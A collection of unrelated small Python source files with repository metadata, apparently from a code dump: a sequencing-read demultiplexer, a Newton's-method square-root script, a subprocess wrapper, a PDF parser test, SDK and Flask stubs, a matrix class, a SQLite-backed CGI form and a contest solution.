b_ref = barcode_ref(b)
def demult(r1,r2,i1,i2,q,b_ref):
"""Opening each filed passed in through the argparse with the zip function a set of temporary arrays and dictionaries are created to store each set of reads from the 4 files individually"""
"""this will increase the speed of this program since the sequencing files need to be only opened once while this program is running"""
"""Once a set of 4 lines have been read into the arrays then a reverse complement of the index2 sequence line is taken and then all quality scores for each read are compared to their given cutoff values.
If all reads pass this benchmark the reverse complement is then compared to the index1 sequence line and if they are equivalent then the r1 and r2 inputs are then
appended to a fw/rv file with the index1 prefix in the title."""
"""If the mean read quality for any of the reads does not match the set value then it is outputed into the lowq fw/rv outs"""
"""If the reads do meet the quality requirement but have indexes that do not match the b_ref sets then they are outputted to the index_hopped fw/rv outs"""
"""If a barcode does not match any of the b_ref codes, ie contains N or has a sequencing error, it will also be outputted into the lowq fw/rv outs"""
with gzip.open(r1, 'rt') as r1, gzip.open(r2, 'rt') as r2, \
gzip.open(i1, 'rt') as i1, gzip.open(i2, 'rt') as i2, \
open('lowq_R1.fq', 'a') as bad_f, open('lowq_R2.fq', 'a') as bad_r, \
open('index_hopped_R1.fq', 'a') as ind_hop_f, open('index_hopped_R2.fq', 'a') as ind_hop_r:
codes = []
for barcode in b_ref:
codes.append(barcode + '_R1.fq')
codes.append(barcode + '_R2.fq')
files = {code: open(code,'a') for code in codes}
counts = {'lowq':0, 'index_hopped':0}
start = {}
swap = {}
#initializing a set of nested dictionaries to store the
for bar in b_ref:
start[bar]=0
for bar in b_ref:
swap[bar]={}
for group in start:
swap[bar][group]=0
ln = 0
r1_temp = []
r2_temp = []
i1_temp = []
i2_temp = []
i2_rv = []
for r1_set , r2_set, i1_set, i2_set in zip(r1,r2,i1,i2):
ln += 1
r1_temp.append(r1_set.strip())
r2_temp.append(r2_set.strip())
i1_temp.append(i1_set.strip())
i2_temp.append(i2_set.strip())
if ln % 4 == 2:
i2_rv = rv_comp(i2_set.strip())
if ln % 4 == 0:
if low_Q(q,r1_temp[3]) and low_Q(q,r2_temp[3]) \
and low_Q(q,i1_temp[3]) and low_Q(q,i2_temp[3]) is True:
if str(i1_temp[1]) == str(i2_rv) \
and str(i1_temp[1]) in b_ref: #if everything comes up good
header_r1 = header_edit(r1_temp[0], i1_temp[1], i2_temp[1])
header_r2 = header_edit(r2_temp[0], i1_temp[1], i2_temp[1])
files[(i1_temp[1] + "_R1.fq")].write(header_r1 + '\n' + r1_temp[1] + '\n' + r1_temp[2] + '\n' + r1_temp[3] + '\n')
files[(i1_temp[1] + "_R2.fq")].write(header_r2 + '\n' + r2_temp[1] + '\n' + r2_temp[2] + '\n' + r2_temp[3] + '\n')
if i1_temp[1] in counts: #if this barcode has been read before
counts[i1_temp[1]]+=1
r1_temp.clear()# clearing out the arrays so that the next read can be inputted
r2_temp.clear()
i1_temp.clear()
i2_temp.clear()
else: #if this barcode has not been read before
counts[i1_temp[1]] = 1
r1_temp.clear()# clearing out the arrays so that the next read can be inputted
r2_temp.clear()
i1_temp.clear()
i2_temp.clear()
elif str(i1_temp[1]) != str(i2_rv) \
and str(i1_temp[1]) in b_ref \
and str(i2_rv) in b_ref:# if the reverse complement of the index2 does not match index1 /if its index hopped
header_r1 = header_edit(r1_temp[0], i1_temp[1], i2_temp[1])
header_r2 = header_edit(r2_temp[0], i1_temp[1], i2_temp[1])
ind_hop_f.write(header_r1 + '\n' + r1_temp[1] + '\n' + r1_temp[2] + '\n' + r1_temp[3] + '\n')
ind_hop_r.write(header_r2 + '\n' + r2_temp[1] + '\n' + r2_temp[2] + '\n' + r2_temp[3] + '\n')
counts['index_hopped'] += 1
swap[i1_temp[1]][i2_rv] += 1
r1_temp.clear()# clearing out the arrays so that the next read can be inputted
r2_temp.clear()
i1_temp.clear()
i2_temp.clear()
else:#if it has N's in the barcode or is a sequencing error
header_r1 = header_edit(r1_temp[0], i1_temp[1], i2_temp[1])
header_r2 = header_edit(r2_temp[0], i1_temp[1], i2_temp[1])
bad_f.write(header_r1 + '\n' + r1_temp[1] + '\n' + r1_temp[2] + '\n' + r1_temp[3] + '\n')
bad_r.write(header_r2 + '\n' + r2_temp[1] + '\n' + r2_temp[2] + '\n' + r2_temp[3] + '\n')
counts['lowq'] += 1
r1_temp.clear()# clearing out the arrays so that the next read can be inputted
r2_temp.clear()
i1_temp.clear()
i2_temp.clear()
else:#if the quality of the sequences is too low.
header_r1 = header_edit(r1_temp[0],i1_temp[1],i2_temp[1])
header_r2 = header_edit(r2_temp[0],i1_temp[1],i2_temp[1])
bad_f.write(header_r1 + '\n' + r1_temp[1] + '\n' + r1_temp[2] + '\n' + r1_temp[3] + '\n')
bad_r.write(header_r2 + '\n' + r2_temp[1] + '\n' + r2_temp[2] + '\n' + r2_temp[3] + '\n')
counts['lowq'] += 1
r1_temp.clear()# clearing out the arrays so that the next read can be inputted
r2_temp.clear()
i1_temp.clear()
i2_temp.clear()
for file in files.values():
file.close()
swapped = swap
"""taking our group values this creates the values that will go into our outfile containing the number of reads and % of total reads each category comprises"""
for group in counts:
if group !='lowq' and group !='index_hopped':
swap[group][group] = counts[group]
print ("Barcode\tCount\t% of Reads")
for group in counts:
print (str(group)+'\t'+str(counts[group]) + '\t' + str(counts[group]/(ln/4)))
return counts, swap, swapped
"""a set of graphing functions to display the demultiplexing run results"""
def countplot(counts):
y = []
x = []
for group in counts:
x.append(group)
y.append(counts[group])
mpl.bar(x, y, align='center', alpha=0.5)
mpl.ylabel('Count')
mpl.xlabel('Barcode')
mpl.xticks(np.arange(26), x, rotation=90)
mpl.title('Counts for each barcode')
mpl.savefig('counts.png', bbox_inches = "tight")
mpl.close()
return
def swapplot(swap):
z = []
twod = []
for d in swap:
for k in swap[d]:
if len(z) < 24:
z.append(swap[d][k])
else:
twod.append(z)
z = [swap[d][k]]
b_ref = barcode_ref(b)
x = range(24)
y = range(24)
intensity = np.array(twod)
x,y = np.meshgrid(x,y)
mpl.pcolormesh(x, y, intensity)
mpl.colorbar()
mpl.xticks(np.arange(24),b_ref,rotation=90)
mpl.yticks(np.arange(24),b_ref)
mpl.title('Counts for each combination of barcodes')
mpl.gcf().subplots_adjust(left=0.2)
mpl.savefig('all_count.png', bbox_inches="tight")
mpl.close()
return
def swapedplot(swapped):
z = []
twod = []
for d in swapped:
for k in swapped[d]:
if len(z) < 24:
z.append(swapped[d][k])
else:
twod.append(z)
z = [swapped[d][k]]
b_ref = barcode_ref(b)
x = range(24)
y = range(24)
intensity = np.array(twod)
x,y = np.meshgrid(x,y)
mpl.pcolormesh(x, y, intensity)
mpl.colorbar()
mpl.xticks(np.arange(24),b_ref,rotation=90)
mpl.yticks(np.arange(24),b_ref)
mpl.gcf().subplots_adjust(left=0.2)
mpl.title('Counts for each combination of barcodes excluding paired barcodes')
mpl.savefig('no_pair_count.png',bbox_inches="tight")
mpl.close()
return
counts, swap, swapped = demult(r1, r2, i1, i2, q, b_ref)
countplot(counts)
swapplot(swap)
swapedplot(swapped)
"""outfiles were then gziped from the command line afterwards for ease of submission"""
|
[
"noreply@github.com"
] |
2019-bgmp.noreply@github.com
|
4bcaa3330a389a94add059b34d8ffbfe70a165cc
|
b095652f1c185e5a39a44f4bde59adfaf239d500
|
/bestemmelse_af_kvadratrod_2_v1.py
|
b15cedf4f4d1528527f6cd6d4339cfa177e75141
|
[] |
no_license
|
KnightOfLastDawn/it_programmering_eksamensprojekt
|
93d452342eb911033ae99589244c3f09561c83ea
|
293f9e14d872b4926edabfe8b8aa8e3e82f8251d
|
refs/heads/master
| 2020-04-28T21:55:12.931079
| 2019-06-18T11:19:29
| 2019-06-18T11:19:29
| 175,599,022
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 360
|
py
|
x_n=4
x_resul=4
print('Bestemmelse af kvadratroden af 2')
print('f(x)=x**2-2')
print('')
print('x 0=',x_n)
for n in range(1,10):
x_n=x_resul
x_n_1=n
x_resul=x_n-((x_n**2)-2)/(2*x_n)
print('x',x_n_1,'=',x_resul)
if x_n - x_resul <0.000000000001 and x_n - x_resul > -0.000000000001:
print('endeligt resultat:', x_resul)
break
|
[
"noreply@github.com"
] |
KnightOfLastDawn.noreply@github.com
|
514599150e55ad65383054a47636ceb397cb5c69
|
f1e467be0bfd2003a03231ef3841da9a6f538801
|
/functionalities/can_switch_from_cli/steps/bash_command.py
|
dcc1972fa708cc77a5e648837ed4855d894096aa
|
[] |
no_license
|
LorenzoCavatorta/Warmy
|
73fa7139050e4e1547c403446432ec760cd07b4a
|
d45ca23072f3eb7a6419ba1d1d0948ab9b2c9a08
|
refs/heads/master
| 2020-07-02T11:48:14.010990
| 2017-02-12T18:46:37
| 2017-02-12T18:46:37
| 74,309,735
| 0
| 0
| null | 2017-02-12T18:46:37
| 2016-11-20T23:34:15
|
Python
|
UTF-8
|
Python
| false
| false
| 2,056
|
py
|
import subprocess
class BashCommand():
def __init__(self, command_body='', v=0, r=None, command_pipe_in=''):
self.command = command_body
self.command_pipe_in = command_pipe_in
self.verbose = v
self.return_parameter = r
def check_for_pipes(self):
if '|' in self.command:
self.command_pipe_in = self.command[self.command.find('|')+1:]
self.command = self.command[:self.command.find('|')]
def run(self):
self.check_for_pipes()
proc1 = subprocess.Popen(self.command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
self.return_code = proc1.wait()
pipe_return_code = 0
if self.command_pipe_in:
proc2 = subprocess.Popen(self.command_pipe_in.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=proc1.stdout)
pipe_return_code = proc2.wait()
self.return_code = self.return_code + pipe_return_code
self.execution_stdout = proc1.stdout.read()
self.execution_stderr = proc1.stderr.read()
if self.command_pipe_in:
self.execution_stdout = proc2.stdout.read()
self.execution_stderr = proc2.stderr.read()
if self.return_parameter == 'output':
self.handle_results()
return self.execution_stdout
elif self.return_parameter == 'error':
self.handle_results(raise_on_error=False)
return self.return_code
else:
self.handle_results()
return self.return_code
def handle_results(self, raise_on_error=True):
if self.verbose >= 2:
print(self.execution_stdout)
if self.verbose >= 1:
print(self.execution_stderr)
try:
assert self.return_code == 0
except AssertionError:
Prompt.write_to_prompt('!!!Something went wrong there!!!')
if raise_on_error:
raise
else:
return 1
return 0
|
[
"noreply@github.com"
] |
LorenzoCavatorta.noreply@github.com
|
10ec581067b767b927683b43e5a34b8d574eaaa1
|
49fab4575265a32d1d84065ffddce3e3073402b6
|
/test_pdfparser.py
|
dcb5f33b09223305efb808c4b5bf9adcf18ce59f
|
[] |
no_license
|
ZosBHAI/pdfparser
|
3cdf687c7163f943dd82a7c4ef027aa9c9e6427f
|
49c1df97da8d7e4017716432f358b7947166c7e1
|
refs/heads/master
| 2023-01-04T04:09:21.770312
| 2020-11-01T06:17:18
| 2020-11-01T06:17:18
| 308,934,636
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 975
|
py
|
from PdfParser import *
import unittest
import json
class PDFParserTest(unittest.TestCase):
def setUp(self) -> None:
self.parser = PDFParser("input\interview_sample_data.pdf", "output.json")
def test_validate_email(self):
self.assertEqual(self.parser._validate_email("burk.lee@gmail.com"),"burk.lee@gmail.com","Valid Mail")
def test_format_pdf_content(self):
content = ['Language:\u200b Basic Tagalog (written and verbal) ']
self.assertEqual(self.parser._format_pdf_content(content),['Language: Basic Tagalog (written and verbal)'])
def test_parse_pdf(self):
print("test_parse_pdf")
self.parser.parse_pdf(self.parser.load_pdf())
print(str(self.parser.keyvalue))
with open(self.parser.outputFile,"r",encoding="utf-8") as fp:
data = json.load(fp)
print(str(data))
self.assertEqual(self.parser.keyvalue,data)
if __name__ == '__main__':
unittest.main()
|
[
"user2@awb.com"
] |
user2@awb.com
|
a62a095a730fcdc651a3ed18e6604d4a1754b28b
|
e7755f9c3302d1da105def867908c03738c42e1a
|
/.idea/VirtualEnvironment/Scripts/pip3-script.py
|
02cce1fbdd1d6502c90aab7d1b32663a4f4063b7
|
[] |
no_license
|
kamlesh-cyber/Zookeeper-python
|
18b387fd50d0732bcdad9d431b7d3f2ff3832b7c
|
b6317ba2c80434ff382bcf19c5ef8050bcc2a197
|
refs/heads/master
| 2022-06-09T17:42:18.715017
| 2020-05-06T19:34:16
| 2020-05-06T19:34:16
| 261,884,930
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 445
|
py
|
#!"C:\Users\Kamlesh Gupta\PycharmProjects\Zookeeper\.idea\VirtualEnvironment\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==19.0.3', 'console_scripts', 'pip3')()
)
|
[
"kamleshgupta44393@gmail.com"
] |
kamleshgupta44393@gmail.com
|
ac839c792f307d78cf4c464fcdb00725d66defbf
|
7438f82a3a4041550b705be55c04252332ae5908
|
/Elementary/Elementary_The_Most_Numbers.py
|
7106a72668416bf9947f7c81def1f4045b0b0193
|
[] |
no_license
|
Nivram3/CheckioPython
|
bc1af4e760be32eb731ae7f4ed2af6c75d11e33c
|
8f15a5a4eeea6c1c68b1737c1aff27e966e0c75d
|
refs/heads/master
| 2020-06-13T16:15:10.977724
| 2019-10-10T14:35:31
| 2019-10-10T14:35:31
| 194,705,501
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,328
|
py
|
'''
You are given an array of numbers (floats).
You should find the difference between the maximum
and minimum element. Your function should be able to
handle an undefined amount of arguments.
For an empty argument list, the function should
return 0.
Floating-point numbers are represented in computer
hardware as base 2 (binary) fractions. So we should
check the result with ±0.001 precision.
Think about how to work with an arbitrary number of
arguments.
Input: An arbitrary number of arguments as numbers
(int, float).
Output: The difference between maximum and minimum
as a number (int, float).
Precondition: 0 ≤ len(args) ≤ 20
all(-100 < x < 100 for x in args)
all(isinstance(x, (int, float)) for x in args)
'''
# check if it is float or is integer.
def checkio(*args):
# if it has elements
if args:
max_num = max(args)
min_num = min(args)
if max_num >= 0 and min_num < 0:
dif = abs(max_num) + abs(min_num)
if max_num and min_num == int:
return int(dif)
else:
return dif
else:
# need extra abs for max and min are -
dif = abs(abs(max_num) - abs(min_num))
return dif
else:
return 0
# * for arbitrary num of arguments
print(checkio(-0.036,-0.11,-0.55,-64))
|
[
"marvinyan3@gmail.com"
] |
marvinyan3@gmail.com
|
f80708a15dc94d59fe133b799ce9c464454dee6b
|
fd4f5dd1a79f204ce205458bdf85300a6abe1c97
|
/python/djangoTutorial/mysite/venv/bin/python-config
|
247fdce87aab50f069c79ef16d403338464e758b
|
[] |
no_license
|
WalterRen1991/Continuous-Learning
|
3548225de5256ea1f75732c927a49d1463a24ff1
|
b0895b37980c1e67b26acc874967dee08e54d1ee
|
refs/heads/master
| 2020-09-02T17:57:38.043827
| 2019-11-24T09:13:47
| 2019-11-24T09:13:47
| 219,273,386
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,379
|
#!/Users/walter/learningspace/python/djangoTutorial/mysite/venv/bin/python
import sys
import getopt
import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
'ldflags', 'help']
if sys.version_info >= (3, 2):
valid_opts.insert(-1, 'extension-suffix')
valid_opts.append('abiflags')
if sys.version_info >= (3, 3):
valid_opts.append('configdir')
def exit_with_usage(code=1):
sys.stderr.write("Usage: {0} [{1}]\n".format(
sys.argv[0], '|'.join('--'+opt for opt in valid_opts)))
sys.exit(code)
try:
opts, args = getopt.getopt(sys.argv[1:], '', valid_opts)
except getopt.error:
exit_with_usage()
if not opts:
exit_with_usage()
pyver = sysconfig.get_config_var('VERSION')
getvar = sysconfig.get_config_var
opt_flags = [flag for (flag, val) in opts]
if '--help' in opt_flags:
exit_with_usage(code=0)
for opt in opt_flags:
if opt == '--prefix':
print(sysconfig.get_config_var('prefix'))
elif opt == '--exec-prefix':
print(sysconfig.get_config_var('exec_prefix'))
elif opt in ('--includes', '--cflags'):
flags = ['-I' + sysconfig.get_path('include'),
'-I' + sysconfig.get_path('platinclude')]
if opt == '--cflags':
flags.extend(getvar('CFLAGS').split())
print(' '.join(flags))
elif opt in ('--libs', '--ldflags'):
abiflags = getattr(sys, 'abiflags', '')
libs = ['-lpython' + pyver + abiflags]
libs += getvar('LIBS').split()
libs += getvar('SYSLIBS').split()
# add the prefix/lib/pythonX.Y/config dir, but only if there is no
# shared library in prefix/lib/.
if opt == '--ldflags':
if not getvar('Py_ENABLE_SHARED'):
libs.insert(0, '-L' + getvar('LIBPL'))
if not getvar('PYTHONFRAMEWORK'):
libs.extend(getvar('LINKFORSHARED').split())
print(' '.join(libs))
elif opt == '--extension-suffix':
ext_suffix = sysconfig.get_config_var('EXT_SUFFIX')
if ext_suffix is None:
ext_suffix = sysconfig.get_config_var('SO')
print(ext_suffix)
elif opt == '--abiflags':
if not getattr(sys, 'abiflags', None):
exit_with_usage()
print(sys.abiflags)
elif opt == '--configdir':
print(sysconfig.get_config_var('LIBPL'))
|
[
"renkai05332@hellobike.com"
] |
renkai05332@hellobike.com
|
|
1b22da02d94a4fd27b7b749f8f217993a9a01664
|
c317f5b607e25a0ebb8b2746c1a94691538e3c71
|
/MapWidget.py
|
a514cef982b73882739be19d6f2f51dcb5a06ecb
|
[] |
no_license
|
Zverinus/Maps-API-big-problem
|
12faab9c5eaa0e728339e6ffcd01adeacb8eabaf
|
f8b036a35fcfa52be50c879a6838cd46ece994d6
|
refs/heads/main
| 2023-03-03T05:02:54.798441
| 2021-02-16T18:39:16
| 2021-02-16T18:39:16
| 336,515,448
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,832
|
py
|
import requests
from settings import *
from PyQt5.QtWidgets import QWidget, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.uic import loadUi
from PyQt5.QtCore import Qt
class MapWidget(QWidget):
def __init__(self, window_size, coords):
super().__init__()
loadUi("UICs/MapWidget.ui", self)
self.window_size = window_size
self.lat_dependence = window_size[0] / window_size[1]
self.lon_dependence = window_size[1] / window_size[0]
self.coords = coords
self.lat, self.lon = self.coords.split(',')
self.spn = f"{0.01 * self.lat_dependence},{0.01 * self.lon_dependence}"
self.resize(self.window_size[0], self.window_size[1])
self.set_map_image()
self.comboBox.activated[str].connect(self.change_style)
self.setFocus()
def change_style(self, text):
global L
L = {'Схема': 'map', 'Спутник': 'sat', 'Гибрид': 'sat,skl'}[text]
self.set_map_image()
self.setFocus()
def keyPressEvent(self, e):
if e.key() == Qt.Key_PageUp:
spn1 = float(self.spn.split(",")[0]) - 0.005 * self.lat_dependence
spn2 = float(self.spn.split(",")[0]) - 0.005 * self.lon_dependence
self.set_new_spn(spn1, spn2)
elif e.key() == Qt.Key_PageDown:
spn1 = float(self.spn.split(",")[0]) + 0.005 * self.lat_dependence
spn2 = float(self.spn.split(",")[0]) + 0.005 * self.lon_dependence
self.set_new_spn(spn1, spn2)
elif e.key() == Qt.Key_Up:
self.set_new_coords('lon', '+')
elif e.key() == Qt.Key_Down:
self.set_new_coords('lon', '-')
elif e.key() == Qt.Key_Left:
self.set_new_coords('lat', '-')
elif e.key() == Qt.Key_Right:
self.set_new_coords('lat', '+')
def set_new_coords(self, line, operation):
if line == 'lat':
if abs(float(self.spn.split(',')[0])) <= 180:
self.lat = eval(f"{self.lat} {operation} {float(self.spn.split(',')[0]) * 2}")
else:
QMessageBox.information(self, 'Неверные координаты', 'Вы за границами карты!')
else:
if abs(float(self.spn.split(',')[1])) <= 90:
self.lon = eval(f"{self.lon} {operation} {float(self.spn.split(',')[1])}")
else:
QMessageBox.information(self, 'Неверные координаты', 'Вы за границами карты!')
self.coords = f"{self.lat},{self.lon}"
self.set_map_image()
def set_new_spn(self, spn1, spn2):
if spn1 > 0.025 or spn2 > 0.025:
QMessageBox.information(self, 'Неверный масштаб', 'Слишком мелкий масштаб!')
elif spn1 < 0.004 or spn1 < 0.004:
QMessageBox.information(self, 'Неверный масштаб', 'Слишком крупный масштаб!')
else:
self.spn = f'{spn1},{spn2}'
print(self.spn)
self.set_map_image()
def get_map_image(self):
geocoder_params = {
"ll": self.coords,
"spn": self.spn,
"l": L,
"size": f"{self.window_size[0]},{self.window_size[1]}"
}
response = requests.get(STATIC_MAPS_API_SERVER, params=geocoder_params)
self.map_file = "map.png"
with open(self.map_file, "wb") as file:
file.write(response.content)
def set_map_image(self):
self.get_map_image()
self.mapImage.setPixmap(QPixmap(self.map_file))
def closeEvent(self, event):
from os import remove
remove(self.map_file)
|
[
"noreply@github.com"
] |
Zverinus.noreply@github.com
|
0ca7806f26d1cd0948551a5dd3ff1eae4b0209ed
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p03148/s959152650.py
|
7dabbd7f01d1a3050984f24c96ebaa9d0225de79
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 787
|
py
|
import sys
read = sys.stdin.buffer.read
readline = sys.stdin.buffer.readline
readlines = sys.stdin.buffer.readlines
from operator import itemgetter
from collections import defaultdict,deque
n,k = map(int,readline().split())
chk = []
for i in range(n):
t,d = map(int,readline().split())
chk.append((t,d))
chk = sorted(chk,key=itemgetter(1),reverse=True)
T = defaultdict(int)
d = deque()
s = set()
ans = []
aa = 0
for i in range(k):
p,q = chk[i]
T[p] += 1
if T[p] > 1:
d.append(q)
s.add(p)
aa += q
l = len(s)
aa += l**2
if k == n or l == k:
print(aa)
exit()
ans = aa
cnt = k-l
for p,q in chk[k:]:
if T[p] == 0:
T[p] += 1
P = d.pop()
aa -= P
aa += q+2*l+1
l += 1
cnt -= 1
ans = max(ans,aa)
if cnt == 0:
break
print(ans)
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
13153baaa152548e6c14f5588293ff4315456bb0
|
afa711b0bb98566342f346f46365e6f6514a3ae2
|
/src/models/items/views.py
|
38c362a5ed3b0c28329bb913c42ec70206c8fe1e
|
[] |
no_license
|
QilinGu/price-monitor-app
|
cbfc9251663e6230d8eb8c85f468d4daa37adc33
|
bb1bde63fbd4374be09468ecd212cc5acab1d28d
|
refs/heads/master
| 2021-01-09T06:41:02.378206
| 2016-08-19T16:00:16
| 2016-08-19T16:00:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 153
|
py
|
from flask import Blueprint
item_blueprint = Blueprint('items', __name__)
@item_blueprint.route('/item/<string:name>')
def item_page(name):
pass
|
[
"myletter428@gmail.com"
] |
myletter428@gmail.com
|
4405cd71e2b1676f601e75017539082489699a2b
|
c73fd0ccd3c124c0cbb8980fdf9d147ab0d49826
|
/L7/1.py
|
9213fdc1af4aea168df9cc5a5fd6c5dd21c1674a
|
[
"Unlicense"
] |
permissive
|
onik282/Python
|
9d4c21334276f2e00594b7fb82d55bffad0d62da
|
656fc8dc0b62a03a7830618e0d3c6078b7745bee
|
refs/heads/main
| 2023-04-11T16:11:58.122679
| 2021-05-09T19:16:54
| 2021-05-09T19:16:54
| 357,659,422
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 839
|
py
|
class Matrix:
def __init__(self, list_1, list_2) -> object:
# self.matr = [list_1, list_2]
self.list_1 = list_1
self.list_2 = list_2
def __add__(self):
matr = [[0, 0, 0],
[0, 0, 0],
[0, 0, 0]]
for i in range(len(self.list_1)):
for j in range(len(self.list_2[i])):
matr[i][j] = self.list_1[i][j] + self.list_2[i][j]
return str('\n'.join(['\t'.join([str(j) for j in i]) for i in matr]))
def __str__(self):
return str('\n'.join(['\t'.join([str(j) for j in i]) for i in matr]))
my_matrix = Matrix([[5, 18, 11],
[6, 17, 23],
[41, 50, 9]],
[[45, 8, 2],
[6, 7, 93],
[24, 5, 97]])
print(my_matrix.__add__())
|
[
"Yanshin@nextmail.ru"
] |
Yanshin@nextmail.ru
|
8810a1d3bc1a848c3c79bcdd9ed645e9eff1541e
|
3dddb75ca4add198e988decb7a8492fa42a8f0ec
|
/individual_tasks/task6/web/cgi-bin/form.py
|
0f927c7f339949b1cd0c82426eff415734bd272a
|
[] |
no_license
|
TheTenzou/python-4-kurs
|
e7747c7638d46f43585c6f263583f4c4b5491f26
|
9b3c8939a645172706b27ac0be9dae3db3ddf023
|
refs/heads/master
| 2023-04-02T19:16:11.095502
| 2021-04-14T06:52:58
| 2021-04-14T06:52:58
| 339,730,925
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,789
|
py
|
#!/usr/bin/env python3
import cgi
import html
import sys
import codecs
import sqlite3
import os
sys.stdout = codecs.getwriter("utf-8")(sys.stdout.detach())
dirname = os.path.dirname(__file__)
db_name = os.path.join(dirname, 'computers.db')
form = cgi.FieldStorage()
text1 = form.getfirst("NAME")
text2 = form.getfirst("CPU")
text3 = form.getfirst("GPU")
text1 = html.escape(text1)
text2 = html.escape(text2)
text3 = html.escape(text3)
connection = sqlite3.connect(db_name)
cursor = connection.cursor()
cursor.execute(
'insert into computers values(null,?,?,?)',
(text1, text2, text3)
)
connection.commit()
print("Content-type: text/html\n")
print(
"""
<!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<title>Обработка данных форм</title>
</head>
<body>
"""
)
print("<h1>Обработка данных форм!</h1>")
print("<p>Name: {}</p>".format(text1))
print("<p>CPU: {}</p>".format(text2))
print("<p>GPU: {}</p>".format(text3))
cursor.execute(
'''
select
pc.name,
cpu.name,
gpu.name
from
computers pc
left join cpu on pc.cpu_id = cpu.id
left join gpu on pc.gpu_id = gpu.id
'''
)
print(
'''
<table border="1">
<caption>Персональный компьютеры</caption>
<tr>
<th>Название</th>
<th>cpu</th>
<th>gpu</th>
</tr>
'''
)
for name, cpu, gpu in cursor.fetchall():
print(
f'''
<tr>
<td>{name}</td>
<td>{cpu}</td>
<td>{gpu}</td>
</tr>
'''
)
print(
"""
</table>
</body>
</html>
"""
)
|
[
"61962705+TheTenzou@users.noreply.github.com"
] |
61962705+TheTenzou@users.noreply.github.com
|
f5fb804acb81bcf80e35522fe941253a72ad1d04
|
c2bdcd5aec95d5c4ac4322f166c2ef9b2b8992f9
|
/kurstag_2/loesungen_2/if_loesung1.py
|
6afc3ad3400e82a3455e7d3d6bfb7e462c133dff
|
[] |
no_license
|
softborg/Python_HWZ_Start
|
4437c5d8676301db8f4c42b75c98f0cc91320012
|
6361647113365df66e3ad84a0d1d1b563137ebbd
|
refs/heads/master
| 2022-07-21T16:27:30.333598
| 2022-07-12T12:08:37
| 2022-07-12T12:08:37
| 252,724,616
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 358
|
py
|
# if Aufgabe 01
# Entscheiden sie ob eine Zahl
# - kleiner als 18
# - gleich 18
# - oder grösser als 18 ist
# und geben dies auf der Konsole aus.
# if Aufgabe - Loesung 01
zahl = 19
if zahl < 18:
print("Zahl:", zahl, "ist kleiner als 18")
elif zahl == 18:
print("Zahl:", zahl, "ist gleich 18")
else:
print("Zahl:", zahl, "ist grösser als 18")
|
[
"stefan.berger@softborg.com"
] |
stefan.berger@softborg.com
|
af0039340fa3bf127002de09a5a2c764efa035fc
|
5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d
|
/alipay/aop/api/response/AlipayCommerceTransportIndustryProxyUseResponse.py
|
bdaca7fe27b18a5f91bd2a8152cd58348aaf1f41
|
[
"Apache-2.0"
] |
permissive
|
alipay/alipay-sdk-python-all
|
8bd20882852ffeb70a6e929038bf88ff1d1eff1c
|
1fad300587c9e7e099747305ba9077d4cd7afde9
|
refs/heads/master
| 2023-08-27T21:35:01.778771
| 2023-08-23T07:12:26
| 2023-08-23T07:12:26
| 133,338,689
| 247
| 70
|
Apache-2.0
| 2023-04-25T04:54:02
| 2018-05-14T09:40:54
|
Python
|
UTF-8
|
Python
| false
| false
| 829
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
class AlipayCommerceTransportIndustryProxyUseResponse(AlipayResponse):
def __init__(self):
super(AlipayCommerceTransportIndustryProxyUseResponse, self).__init__()
self._industry_response = None
@property
def industry_response(self):
return self._industry_response
@industry_response.setter
def industry_response(self, value):
self._industry_response = value
def parse_response_content(self, response_content):
response = super(AlipayCommerceTransportIndustryProxyUseResponse, self).parse_response_content(response_content)
if 'industry_response' in response:
self.industry_response = response['industry_response']
|
[
"jiandong.jd@antfin.com"
] |
jiandong.jd@antfin.com
|
19d855b1c4c6c3825cfdd9dbc112ea6c718aeb33
|
f013c7884289b4b877ce54186b005b4acc8b6055
|
/venv/Scripts/easy_install-3.7-script.py
|
43c4afedd56571bba27d22097d5611f724b3acb3
|
[] |
no_license
|
leo-sandler/Unit_5-File-I.O
|
eca9f3d223fa6480f47cff879c12e6e57c0266ed
|
0a47a1a6874bd2ccaecd54a7ca3e1967b1908120
|
refs/heads/master
| 2021-09-29T02:20:52.607624
| 2018-11-22T18:51:17
| 2018-11-22T18:51:17
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 486
|
py
|
#!C:\Users\leo_sandler\PycharmProjects\Unit_5-File-I\Unit_5-File-I.O\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.7'
__requires__ = 'setuptools==39.1.0'
import re
import sys
